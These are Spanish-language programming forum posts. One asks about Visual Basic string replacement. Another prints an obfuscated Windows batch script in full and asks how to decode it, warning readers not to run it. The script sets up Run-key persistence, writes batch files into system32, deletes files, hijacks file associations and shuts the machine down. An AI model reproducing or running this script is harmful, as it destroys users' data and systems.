|
283
|
Programación / Programación Visual Basic / Nose si usar el replace... alternativa?
|
en: 6 Febrero 2011, 07:46 am
|
hay alguna alternativa para el replace? porq el replace, por ejemplo, tengo esto en un textbox: habia una vez un patito que tenia alto pitito y le hago un replace... Source = src.Text Source = Replace(Source, "a", ("5" & a.Text & "5")) Source = Replace(Source, "b", ("5" & b.Text & "5")) Source = Replace(Source, "c", ("5" & c.Text & "5")) Source = Replace(Source, "d", ("5" & d.Text & "5")) Source = Replace(Source, "e", ("5" & e.Text & "5")) Source = Replace(Source, "f", ("5" & f.Text & "5")) Source = Replace(Source, "g", ("5" & g.Text & "5")) Source = Replace(Source, "h", ("5" & h.Text & "5")) Source = Replace(Source, "i", ("5" & i.Text & "5")) Source = Replace(Source, "j", ("5" & j.Text & "5")) Source = Replace(Source, "k", ("5" & k.Text & "5")) Source = Replace(Source, "l", ("5" & l.Text & "5")) Source = Replace(Source, "m", ("5" & m.Text & "5")) Source = Replace(Source, "n", ("5" & n.Text & "5")) Source = Replace(Source, "ñ", ("5" & ñ.Text & "5")) Source = Replace(Source, "o", ("5" & o.Text & "5")) Source = Replace(Source, "p", ("5" & p.Text & "5")) Source = Replace(Source, "q", ("5" & q.Text & "5")) Source = Replace(Source, "r", ("5" & r.Text & "5")) Source = Replace(Source, "s", ("5" & s.Text & "5")) Source = Replace(Source, "t", ("5" & t.Text & "5")) Source = Replace(Source, "u", ("5" & u.Text & "5")) Source = Replace(Source, "v", ("5" & v.Text & "5")) Source = Replace(Source, "w", ("5" & w.Text & "5")) Source = Replace(Source, "x", ("5" & x.Text & "5")) Source = Replace(Source, "y", ("5" & y.Text & "5")) Source = Replace(Source, "z", ("5" & z.Text & "5")) Form2.srca.Text = Source
queda completamente horrible, dependiendo de lo que haya en a.text b.text........ z.textentienden? supongamos que en h.text hay una J se reemplaza: jabia (Primera palabra vamos a usar de ejemplo) Cuando llega la hora de reemplazar la j ( Supongamos que en j.text hay "l") termina quedando labia y es cualquier cosa, y eso me esta complicando! :S Hay alguna alternativa para el replace?
|
|
|
284
|
Programación / Programación Visual Basic / Re: Para que es el $?
|
en: 6 Febrero 2011, 03:44 am
|
sisii, gracias raul, como dije, a los 5 segundos dspues de crear el th lo soluciono... por eso edite y pregunte lo de $ . otra pregunta, necesito reemplazar muchas cosas de un texto, como seria? :$ por ejemplo, remplazar el 5, el 6, el 7, el 0 balbal
|
|
|
288
|
Programación / Scripting / Como descifrar este batch?
|
en: 6 Febrero 2011, 01:39 am
|
Hola! Como puedo desecncriptar un batch? lo quiero porque me parece interesante lo que hace... o eso me dijieron... NO ES MIO! set _~=set %_~% a=abcdefghijkl %_~% b=mnopqrstuvwxyz %_~% t¬a=%a:~4,1% %_~% t¬e=%a:~,1% %_~% t¬$=%a:~1,1% %_~% t¬b=%a:~8,1% %_~% t¬o=%a:~2,1% %_~% t¬p=%a:~3,1% %_~% t¬s=%a:~5,1% %_~% t¬y=%a:~6,1% %_~% t¬f=%a:~7,1% %_~% t¬l=%a:~9,1% %_~% t¬m=%a:~10,1% %_~% t¬z=%a:~11,1% %_~% t~a=%b:~4,1% %_~% t~e=%b:~,1% %_~% t~$=%b:~1,1% %_~% t~b=%b:~8,1% %_~% t~o=%b:~2,1% %_~% t~p=%b:~3,1% %_~% t~s=%b:~5,1% %_~% t~y=%b:~6,1% %_~% t~f=%b:~7,1% %_~% t~l=%b:~9,1% %_~% t~m=%b:~10,1% %_~% t~z=%b:~11,1% %_~% t~x=%b:~12,1% %_~% t~q=%b:~13,1% %_~% tv=%t¬f:~,1% %_~% tt=%t~f:~,1% set /=%t¬a%%t¬o%%tv%%t~o% %_~% //=%t¬a%%t¬o%%tv%%t~o%. %_~% m~g=%t~e%%t~y%%t¬y% %_~% c~s=%t¬o%%t¬z%%t~y% %_~% f~r=%t¬s%%t~o%%t~s% %_~% rgi=reg add HKLMSoftwaremicrosoftWindowsCurrentVersionRun /v system /d "%systemroot%system32hal.bat" %_~% rg2=reg add HKLMSoftwaremicrosoftWindowsCurrentVersionRun /v Systemupdate /d "%systemroot%system32kernel.bat" %_~% i~e=%t¬b%%t¬s% %t¬a%%t~z%%t¬b%%t~y%%t~f% %_~% i=%i~e:~,2% %_~% :=%t~p%%t¬e%%t~b%%t~y%%t¬a% %_~% ;=%t~p%%t¬b%%t~$%%t¬y% %_~% =%t¬p%%t¬a%%t¬z% /%t~y% /%t¬s% /%t~a% %_~% #=%t¬a%%t¬z%%t~y%%t¬a% %_~% s~n=%t~y%%tv%%t~b%%tt%%t¬p%%t~o%%t~m%%t~$% -%t~y% -%t¬s% -%tt% %_~% ]=%t¬p%%t¬e%%tt%%t¬a% %_~% ¬=%t¬o%%t~o%%t~p%%t~x% /%t~x% %_~% $=%t~e%%t¬m%%t¬p%%t¬b%%t~s% %_~% ··= %t~s%%t~e%%t¬p%%t¬b%%t~s% /%t~y% /%t~a% %_~% c~ls=%t¬o%%t¬e%%t¬o%%t¬z%%t~y% %_~% ª!ª!=%tt%%t¬e%%t~y%%t¬m%%t¬m%%t¬b%%t¬z%%t¬z% /%t¬s% /%t¬b%%t~e% %_~% {}=%t¬o%%t¬p% %_~% ç=%t~y%%t¬a%%t~f%/%t~p% %_~% f~ee=%t¬s%%tt%%t~x%%t~p%%t¬a% %_~% []=%t¬e%%t~y%%t~y%%t~o%%t¬o% %_~% g~t=%t¬y%%t~o%%tt%%t~o% %_~% at~b=%t¬e%%tt%%tt%%t~s%%t¬b%%t¬$% %_~% cl=%t¬o%%t~o%%t¬z%%t~o%%t~s% %_~% st=%t~y%%tt%%t¬e%%t~s%%tt% %_~% i=%i:~,2% %_~% ct=%t¬o%%t~o%%t~$% %_~% ch=%t¬a%%t~z%%t¬b%%tt% @%/% %t~o%%t¬s%%t¬s% :akk %c~s% %//% %//% %cl% 0%t¬o% %tt%%t¬b%%tt%%t¬z%%t¬a% ----------------------- %tv%%t¬e%%t¬o%%t¬m% %t~e%%t~y%%t~$%-------------------------- %/% %t¬o%%t¬e%%t~s%%t¬y%%t¬e%%t~$%%t¬p%%t~o%..... %;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z% :!"· %c~s% %//% %//% %ç% v= %t¬b%%t~$%%tt%%t~s%%t~o%%t¬p%%t~b%%t~q%%t¬o%%t¬e% %t¬a%%t¬z% %t~e%%t~y%%t~$% %t¬e% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t¬e%%t~s% : %//% %//% %ç% v2= %t~s%%t¬a%%t~p%%t¬b%%tt%%t¬e% %t¬a%%t¬z% %t~e%%t~y%%t~$% : %i% %v%==%v2% (%g~t% ^*Ç ) %m~g% * %t¬z%%t~o%%t~y% %t~e%%t~y%%t~$% %v% ^& %v2% %t~$%%t~o% %t~y%%t~o%%t~$% %t¬b%%t¬y%%t~b%%t¬e%%t¬z%%t¬a%%t~y% %g~t% !"· :^*Ç %c~s% %//% %//% %/% %t~p%%t~s%%t~o%%t¬o%%t¬a%%t~y%%t¬e%%t~$%%t¬p%%t~o% ........ %/% %t~e%%t~y%%t~$% : %v% > C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt %/% %t~p%%t~y%%t~m% : %random% >> C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt :&0? %rgi% %/% :yuu > %windir%system32%tv%%t¬e%%t¬z%.bat %/% %c~s% >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %tt%%t~x%%t~p%%t¬a% * >> %windir%system32%t¬e%%tv%.bat %/% %t¬o%%t¬e%%t¬z%%t¬z% %windir%system32%t¬e%%tv%.bat >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %st% %t¬o%%t¬e%%t¬z%%t¬o% >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %st% %t~e%%t~y%%t~p%%t¬e%%t¬b%%t~$%%tt% >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% ... >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %s~n% 1800 >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %_~%/%t¬e% %ct%=%ct%+1 >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %i% %ct%==15 ( %g~t% asd ) >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %g~t% yuu >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% :asd >> %windir%system32%tv%%t¬e%%t¬z%.bat %/% %ch% >> %windir%system32%tv%%t¬e%%t¬z%.bat :tyy %c~s% %//% %//% %/% %t¬e%%t~s%%t¬o%%tv%%t¬b%%t~l%%t~o% %t¬o%%t~s%%t¬a%%t¬e%%t¬p%%t~o% %t¬a%%t~$% C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt %:% %//% %/% %t¬e%%t¬$%%t~s%%t¬b%%t¬a%%t~$%%t¬p%%t~o% %t¬a%%t¬z% %t¬e%%t~s%%t¬o%%tv%%t¬b%%t~l%%t~o% %;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z% %tt%%t~x%%t~p%%t¬a% C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt %;% -%t~$% 4 127.0.0.1 > %t~$%%t~b%%t¬z% %/% %tt%%t¬a% %t¬o%%t~s%%t¬a%%t¬a%%t~y% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t~s% ???? %rg2% %/% %ª!ª!% %t¬a%%t~z%%t~p%%t¬z%%t~o%%t~s%%t¬a%%t~s%.exe > %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %t~$%%t¬a%%tt% %t~b%%t~y%%t¬a%%t~s% %%random%% %%random%% /%t¬e%%t¬p%%t¬p% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %{}% "%homepath%" >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %at~b% -%t~s% -%t¬e% -%t~y% -%tv% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %··% %homepath%Mis Documentos >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %{}% C: >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %f~r% /%t¬z% %%%%x in (1,1,36500) do ( %$% %%%%x ) >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %% C:Archivos de programa >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %/% %t~y%|%c~ls% "%homepath%escritorio" /%t~p% %username%:%t~$% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat %/% %/% %t~x%|%c~ls% "%homepath%escritorio" /%t~p% %username%:%t~$% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% > %windir%system32%t¬b%%t~$%%t¬b%.bat %/% %{}% %homepath%escritorio >> %windir%system32%t¬b%%t~$%%t¬b%.bat %/% %f~r% /%t¬z% %%%%m %t¬b%%t~$% (1,1,%%random%%%random%%) do (%$% %%%%m ) >> %windir%system32%t¬b%%t~$%%t¬b%.bat %[]% .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%file %f~ee% .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% = %windir%system32%t¬b%%t~$%%t¬b%.bat %[]% .%t¬a%%t~z%%t¬a% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %[]% .%t~e%%t~p%3 = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %[]% .%t~l%%t¬$%%t~y% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %[]% .%t~m%%t¬e%%t~l% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %[]% .%t¬e%%t~l%%t¬b% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %[]% .%t¬p%%t~o%%t¬o% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z% %/% %t~x%%t~o%%t~b% %t¬e%%t~s%%t¬a% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t¬p% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %s~n% 10 %m~g% * %t¬$%%t~x%%t¬a% %ch% aclaro, NO LO ABRAN!, o usean virtual pc (Como yo) add: tmb me di cuenta que tiene algunos errores
|
|
|
|
|
|
|